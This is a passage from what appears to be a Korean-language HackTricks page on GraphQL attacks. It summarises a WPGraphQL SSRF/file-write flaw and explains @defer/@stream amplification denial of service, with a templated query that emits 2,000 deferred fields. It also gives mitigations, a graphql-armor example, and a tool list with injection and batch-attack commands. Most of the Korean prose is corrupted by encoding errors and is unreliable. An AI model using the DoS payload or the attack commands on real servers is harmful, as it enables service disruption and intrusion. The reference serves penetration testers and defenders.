- Affected: WPGraphQL โค 1.14.5 (WordPress plugin).
- Root cause: the
createMediaItemmutation accepted attacker-controlledfilePathURLs, allowing internal network access and file writes. - Impact: ์ธ์ฆ๋ Editors/Authors๋ ๋ฉํ๋ฐ์ดํฐ ์๋ํฌ์ธํธ์ ์ ๊ทผํ๊ฑฐ๋ ์๊ฒฉ ์ฝ๋ ์คํ์ ์ํด PHP ํ์ผ์ ์์ฑํ ์ ์์์ต๋๋ค.
Incremental delivery abuse: @defer / @stream
2023๋ ๋ถํฐ ๋๋ถ๋ถ์ ์ฃผ์ ์๋ฒ(Apollo 4, GraphQL-Java 20+, HotChocolate 13)๋ GraphQL-over-HTTP WG์์ ์ ์ํ incremental delivery ์ง์์๋ฅผ ๊ตฌํํ์ต๋๋ค. ๊ฐ deferred patch๋ separate chunk๋ก ์ ์ก๋๋ฏ๋ก ์ ์ฒด ์๋ต ํฌ๊ธฐ๋ N + 1 (envelope + patches)์ด ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์์ฒ ๊ฐ์ ์์ deferred ํ๋๋ฅผ ํฌํจํ ์ฟผ๋ฆฌ๋ ๊ณต๊ฒฉ์์๊ฒ๋ ๋จ ํ ๋ฒ์ ์์ฒญ๋ง์ผ๋ก๋ ํฐ ์๋ต์ ์์ฑํ ์ ์์ผ๋ฉฐ, ์ ํ์ ์ธ amplification DoS์ด์ ์ฒซ ๋ฒ์งธ ์ฒญํฌ๋ง ๊ฒ์ฌํ๋ body-size WAF ๊ท์น์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ํด๋น WG ๋ฉค๋ฒ๋ค ๋ํ ์ด ์ํ์ ์ง์ ํ์ต๋๋ค.
์์ payload (2,000๊ฐ์ ํจ์น ์์ฑ):
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
์ํ: ํ๋ก๋์
์์ @defer/@stream์ ๋นํ์ฑํํ๊ฑฐ๋ max_patches, ๋์ max_bytes ๋ฐ ์คํ ์๊ฐ์ ๊ฐ์ ํ์ธ์. graphql-armor ๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋(์๋ ์ฐธ์กฐ) ์ด๋ฏธ ํฉ๋ฆฌ์ ์ธ ๊ธฐ๋ณธ๊ฐ์ ์ ์ฉํฉ๋๋ค.
๋ฐฉ์ด์ฉ ๋ฏธ๋ค์จ์ด (2024+)
| ํ๋ก์ ํธ | ์ค๋ช |
|---|---|
| graphql-armor | Escape Tech์์ ๋ฐฐํฌํ Node/TypeScript์ฉ validation ๋ฏธ๋ค์จ์ด. ์ฟผ๋ฆฌ ๊น์ด, alias/field/directive ์, ํ ํฐ ๋ฐ ๋น์ฉ์ ๋ํ ํ๋ฌ๊ทธ ์ค ํ๋ ์ด ์ ํ์ ๊ตฌํํ๋ฉฐ Apollo Server, GraphQL Yoga/Envelop, Helix ๋ฑ๊ณผ ํธํ๋ฉ๋๋ค. |
๋น ๋ฅธ ์์:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor์ ์ด์ ์ง๋์น๊ฒ ๊น๊ฑฐ๋ ๋ณต์กํ๊ฑฐ๋ directive๊ฐ ๋ง์ ์ฟผ๋ฆฌ๋ฅผ ์ฐจ๋จํ์ฌ ์์ CVE๋ค์ ๋ํ ๋ณดํธ๋ฅผ ์ ๊ณตํฉ๋๋ค.
๋๊ตฌ
์ทจ์ฝ์ ์ค์บ๋
- https://github.com/dolevf/graphql-cop: graphql ์๋ํฌ์ธํธ์ ์ผ๋ฐ์ ์ธ ์๋ชป๋ ์ค์ ์ ํ ์คํธํฉ๋๋ค.
- https://github.com/assetnote/batchql: ๋ฐฐ์น GraphQL ์ฟผ๋ฆฌ์ ๋ฎคํ ์ด์ ์ํ์ ์ค์ ์ ๋ GraphQL ๋ณด์ ๊ฐ์ฌ ์คํฌ๋ฆฝํธ์ ๋๋ค.
- https://github.com/dolevf/graphw00f: ์ฌ์ฉ ์ค์ธ graphql์ ์๋ณ(fingerprint)ํฉ๋๋ค.
- https://github.com/gsmith257-cyber/GraphCrawler: ์คํค๋ง๋ฅผ ๊ฐ์ ธ์ค๊ณ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๊ฒ์ํ๋ฉฐ ๊ถํ ๋ถ์ฌ๋ฅผ ํ ์คํธํ๊ณ ์คํค๋ง๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ (brute force)ํ๋ฉฐ ํน์ ํ์ ์ผ๋ก ๊ฐ๋ ๊ฒฝ๋ก๋ฅผ ์ฐพ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ํดํท์ ๋๋ค.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: ์คํ ๋์ผ๋ก ์ผ๋ก ์ฌ์ฉํ๊ฑฐ๋ Burp extension์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
- https://github.com/swisskyrepo/GraphQLmap: CLI ํด๋ผ์ด์ธํธ๋ก๋ ์ฌ์ฉ๋์ด ๊ณต๊ฒฉ ์๋ํ์ ํ์ฉํ ์ ์์ต๋๋ค:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: GraphQL ์คํค๋ง์์ ํน์ ํ์ ์ ๋๋ฌํ๋ ๋ค์ํ ๋ฐฉ๋ฒ์ ๋์ดํ๋ ๋๊ตฌ์ ๋๋ค.
- https://github.com/doyensec/GQLSpection: Standalone ๋ฐ CLI ๋ชจ๋์ InQL ํ์์ ๋๋ค.
- https://github.com/doyensec/inql: ๊ณ ๊ธ GraphQL ํ
์คํธ๋ฅผ ์ํ Burp ํ์ฅ ๋๋ python ์คํฌ๋ฆฝํธ์
๋๋ค. _Scanner_๋ InQL v5.0์ ํต์ฌ์ผ๋ก, GraphQL ์๋ํฌ์ธํธ๋ ๋ก์ปฌ introspection ์คํค๋ง ํ์ผ์ ๋ถ์ํ ์ ์์ต๋๋ค. ๊ฐ๋ฅํ ๋ชจ๋ ์ฟผ๋ฆฌ์ ๋ฎคํ
์ด์
์ ์๋์ผ๋ก ์์ฑํ์ฌ ๋ถ์์ ์ํ ๊ตฌ์กฐํ๋ ๋ทฐ๋ก ์ ๋ฆฌํฉ๋๋ค. Attacker ๊ตฌ์ฑ ์์๋ ๋ฐฐ์น GraphQL ๊ณต๊ฒฉ์ ์คํํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ์๋ชป ๊ตฌํ๋ ๋ ์ดํธ ์ ํ์ ์ฐํํ ๋ ์ ์ฉํ ์ ์์ต๋๋ค:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: introspection์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ์๋ ์ผ๋ถ Graphql ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋์์ผ๋ก ๋ฎคํ ์ด์ ๊ณผ ํ๋ผ๋ฏธํฐ ์ด๋ฆ์ ์ถ์ ํ์ฌ ์คํค๋ง๋ฅผ ์ป์ด๋ด๋ ค๊ณ ์๋ํฉ๋๋ค.
์ผ๋ฐ์ ์ธ ์ทจ์ฝ์ ์ ์ฉ ์คํฌ๋ฆฝํธ
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: ์ทจ์ฝํ graphql ํ๊ฒฝ์์ DoS ์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํ ์คํฌ๋ฆฝํธ ๋ชจ์์ ๋๋ค.
ํด๋ผ์ด์ธํธ
- https://github.com/graphql/graphiql: GUI ํด๋ผ์ด์ธํธ
- https://altair.sirmuel.design/: GUI ํด๋ผ์ด์ธํธ
์๋ ํ ์คํธ
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL ์ค๋ช ๋น๋์ค: https://www.youtube.com/watch?v=JJmufWfVvyU
์ฐธ๊ณ ์๋ฃ
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


